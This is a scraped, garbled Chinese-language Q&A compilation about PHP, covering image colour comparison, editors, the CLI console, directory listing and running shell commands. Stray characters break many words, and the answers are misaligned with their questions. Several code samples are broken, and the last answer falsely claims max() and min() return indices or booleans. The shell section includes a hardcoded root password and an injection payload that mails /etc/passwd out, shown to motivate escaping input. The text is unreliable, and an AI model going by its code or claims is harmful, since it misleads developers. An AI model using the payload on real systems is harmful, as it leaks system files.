⑴ php有沒有簡單的方法識別兩張圖片是否相似/相同
理論上肯定是可以的。扮舉不過這應該是一個很高深的東西。所以,我只能給你我很粗淺的方法:
一:寫個函數,這個函數的主要功能是找出一張圖片上的主要顏色(代碼在最後面)
二:把一張圖片有GD庫分成9份(3*3)或更多薯備份,然後用第一個函數來取得每一份小圖的主要顏色。
三:比對這幾份小圖的顏色,看哪一份的顏色是你需要的。
如果你原數缺毀意,你也可以切很多份,比如10000份(100*100),然後計算這10000個顏色的中你需要的顏色的分布,找出你需要的區域。
$i=("image.jpg");
for($x=0;$x for($y=0;$y $rgb=($i,$x,$y); $r=($rgb<<16)&0xFF; $g=($rgb<<&0xFF; $b=$rgb&0xFF; $rTotal=$r; $gTotal=$g; $bTotal=$b; $total; } } $rAverage=round($rTotal/$total); $gAverage=round($gTotal/$total); $bAverage=round($bTotal/$total); ⑵ php開發軟體有哪些(php用什麼軟體) 1. 工具簡介: SublimeText是一款目前非常流行的代碼編輯器,優點是:體積適中,40M左右,運行流暢,有豐富的插件和代碼提示功能,建議選擇英文版,缺點是:收費,不過很多破解版。SublimeText具有漂亮的用戶界面和強大的功能,例如代碼縮略圖,Python的插件,代碼段等。還可自定義鍵綁定,菜單和工具欄。SublimeText的主要拆睜功能包括:拼寫畝慎檢查,書簽,完整的PythonAPI,Goto功能,即時項目切換,多選擇,多窗口等等。SublimeText是一個跨平台的編輯器,同時支持Windows、Linux、MacOSX等操作系統。<去下載.....< 2.Notepad7.3.1 工具簡介: Notepad是在微軟視窗環境之下的一個免費的代碼編輯器,8M左右,非常小巧。它使用較少的CPU功率,降低電腦系統能源消耗,但輕巧且執行效率高,使得Notepad可完美地取代微軟視窗的記事本。內置支持多達27種語法高亮度顯示(包括各種常見的源代碼、腳本,能夠很好地支持.nfo文件查看),還支持自定義語言;可自動檢測文件類型,根據關鍵字顯示節點,節點可自由折疊/打開,還可顯示縮進引導線,代碼顯示得很有層次感;可打開雙窗口,在分窗口中又可打開多個迅御敬子窗口,允許快捷切換全屏顯示模式(F11),支持滑鼠滾輪改變文檔顯示比例;提供了一些有用工具,如鄰行互換位置、宏功能等;可顯示選中文本的位元組數(而不是一般編輯器所顯示的字數,這在某些情況下,比如軟體本地化很方便)。 3.PhpStorm 工具簡介: Phpstorm是大多數PHP程序員們愛不釋手的一款編碼的集成開發工具。它支持所有PHP語言功能,提供最優秀的代碼補全、重構、實時錯誤預防等等功能。但是該工具運行的系統環境配置很高,建議你們選擇不錯的電腦系統開發項目,另外初學者不建議使用phpstorm,兩年後再用,不然他的函數參數提示會把你搞崩潰. 4.ZendStudio13.0.1 工具簡介: ZendStudio是一個屢獲大獎的專業PHP集成開發環境,具備功能強大的專業編輯工具和調試工具,支持PHP語法加亮顯示,支持語法自動填充功能,支持書簽功能,支持語法自動縮排和代碼復制功能,內置一個強大的PHP代碼調試工具,支持本地和遠程兩種調試模式,支持多種高級調試功能。 5.VSCode(官網下載即可) 近兩年,慢慢流行起來,VisualStudioCode(簡稱VSCode/VSC)是一款免費開源的現代化輕量級代碼編輯器,支持幾乎所有主流的開發語言的語法高亮、智能代碼補全、自定義快捷鍵、括弧匹配和顏色區分、代碼片段、代碼對比Diff、GIT命令等特性,支持插件擴展,並針對網頁開發和雲端應用開發做了優化。軟體跨平台支持Win、Mac以及Linux,運行流暢,可謂是微軟的良心之作! ⑶ 北京電腦培訓分享PHP交互控制台 假如你在命令行下使用過php,那麼你可能知道用-r選項來執行代碼。這個特徵讓悶非常棒,但是很難正確處理"引用"。你需要知道是"單引"或"雙引",還有你所使用的shell,甚至你需要時刻保持對變數的警惕避免出錯。直接在STDIN中寫入代碼讓php執行是件煩人的事情,假設你想修改前面已寫的代正滑悔碼的話。在這種情況下,北京電腦培訓認為你只好把代碼寫入文件(即使那隻有一行+<?php)運行它。為了解決這個問題,Marcus和我在php5.1clisapi中加入了新的特徵。我很榮幸能夠在這里介紹給大家:PHP交互控制台。 在你編譯了PHP(GNU:--with-readline)或者(BSD:--with-libedit)後,你便能夠通過使用PHP的-a選項進入這個控制台。 但是這並非是我們全部擁有的。更酷的特徵是tab自動完成功能。就象bash或者mysql控制台下你可以只輸入前面幾個字母,按下tab便獲得可能的完成的單詞列表。目前,我們已經能夠做到函數,常量,類名,變數,靜態方法調用和類常量的自動完成。目前我在進行對象方法和屬性的自動完成工作。 目前自動完成尚有一些限制,比如對於變數或對象,它只能在先前行定義並執行後才會自動完成,並不能在單行多次使用或在一個函數舉正內很好地工作。但是大多數情況下,它能避免我們列印很多字母。 ⑷ php怎麼使用ltlogger
$log=new LtLogger(); ⑸ php函數 自定義一個函數,隨機輸入一個100以內的正整數n,利用函數求出1+2+……n和並輸出。
要創建一個PHP函數,首先需要使用function關鍵字定義一個培培新函數液中敬。然後,我們將使用rand()函數生成一個100以內的隨機正整數。接下來,我們需要創建一個循環來計算1到n的和。最後,使用echo輸出結果。以下是一個示例: ⑹ 如何用php列印指定目錄下的目錄結構
<?php ⑺ 想通過PHP實現讀取txt文本每次刷新網頁隨機獲取5行數據並輸出
如果文件不是太大的話,可以這樣寫: ⑻ 在php命令行業中怎樣列印內容
在PHP中調用外部命令,可以用如下三種方法來實現: ⑼ php輸出數組的最大元素的索引值和最小元素索引值
可以使用以下代碼來輸出數組的最大元素的索引值和最小元素索引值:
//自己定義log的存放路徑
$log->conf('log_file' =>兆睜做 '/早困log/system.log');
$log->log(date('Y-m-d').' 加上當前程序名,操作人就是一條日誌了');
如果文件本身不存在,會直接創建在指定的路徑里,文件存在的話,會追族衡加到日誌里,默認每條日誌以"\t"來進行分割。
<?php
function sum_n($n) {
$sum = 0;
for ($i = 1; $i <= $n; $i++) {
$sum += $i;
}
return $sum;
}
//鬧慎 生成一個100以內的隨機正整數
$n = rand(1, 100);
// 計算1到n的和並輸出結果
$sum = sum_n($n);
echo "隨機生成的數字為: $n\n";
echo "1 到 $n 的和為: $sum";
?>
這個示例中的sum_n函數接收一個參數$n,並計算1到n的和。rand(1, 100)用於生成一個隨機正整數,echo用於輸出結果。
//比如你要查看列印D盤test文件夾下的目錄,可以調用下面的的函數
$directory="D:/test";
function tree($directory)
{
$mydir=dir($directory);
echo "<ul>";
while($file=$mydir->read()){
if((is_dir("$directory/滾弊$file")) AND ($file!=".") AND ($file!="..")){
echo "<li><font color='#ff00cc'><b>喚段$file</b></font></li>";
tree("$directory/$file");
}else{
echo "<li>$file</li>";
}
}
echo "</ul>";
$mydir->close();
}
//start the program
echo "<h2>目錄</h2>和備譽";
tree(".");
?>
<?php
$arr=file('a.txt'); //文本文件,請修改合適的名字和位置
$n=count($arr);
for ($i=0;$i<5;$i++) echo $arr[rand(0,$n)]."<br>';
?>
1) 用PHP提供的專門函數
PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])
system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
例子:
復制代碼
代碼如下:
<?php
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型:string exec (string command [, string array [, int return_var]])
exec
()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array
可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二
個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。
例子:
復制代碼
代碼如下:
<?php
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標准輸出設備上。所以passthru()函數經常用來調用象pbmplus
(Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子:
復制代碼
代碼如下:
<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2)
用popen()函數打開進程
上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。
popen
()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那麼就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一
的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉 它。
例子1:
復制代碼
代碼如下:
<?php
$fp=popen("/bin/ls -l", "r");
?>
例子2:
復制代碼
代碼如下:
<?php
/* PHP中如何增加一個系統用戶
下面是一段常式,增加一個名字為james的用戶,
root密碼是 verygood。僅供參考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3)
用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)
這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如:
復制代碼
代碼如下:
<?php
$res='/bin/ls -l';
echo '
'.$res.'
';
?>
這個腳本的輸出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考慮些什麼看
要考慮兩個問題:安全性和超時。
先
看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地
址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail程序來發送這
個文件。程序就象這樣:
復制代碼
代碼如下:
<?php
system("mail $to <
procts.txt");
echo "我們的產品目錄已經發送到你的信箱:$to";
?>
用這段代碼,一般的用戶不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:
'--bla ; mail [email protected] < /etc/passwd ;'
那麼這條命令最終變成:
'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'
我相信,無論哪個網路管理人員見到這樣的命令,都會嚇出一身冷汗來。
幸
好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字元串
中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入
(<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字元串兩邊加上單引號,並把字元串中的單引號轉義,這樣這個字元串
就可以安全地作為命令的參數。
再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後台去運
行。但在默認情況下,象system()等函數要等到這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是
把命令的輸出重定向到另外一個文件或流中,如:
復制代碼
代碼如下:
<?php
system("/usr/local/bin/order_proc > /tmp/null &");
?>
php復制代碼
<?php
$arr = array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);
// 輸出最大元素的索引值
echo "The maximum element is at index " . max($arr) . ".";
// 輸出最小元素的索引值
echo "The minimum element is at index " . min($arr) . ".";
?>
在上面的代碼中,我們首先定義了一個包含10個元素的數組$arr。然後,我們使用max()函數裂跡和min()函數來分別輸出最大元素的索引值和最小元素的索引值。
需要注意的是,max()函數和min()函數都返回一個布爾值,表示數襲搭組中的最大肆禪並值和最小值。如果返回的是整數,則表示該元素是數組中的最大值或最小值。如果返回的是浮點數,則表示該元素是數組中的最大值或最小值的一個近似值。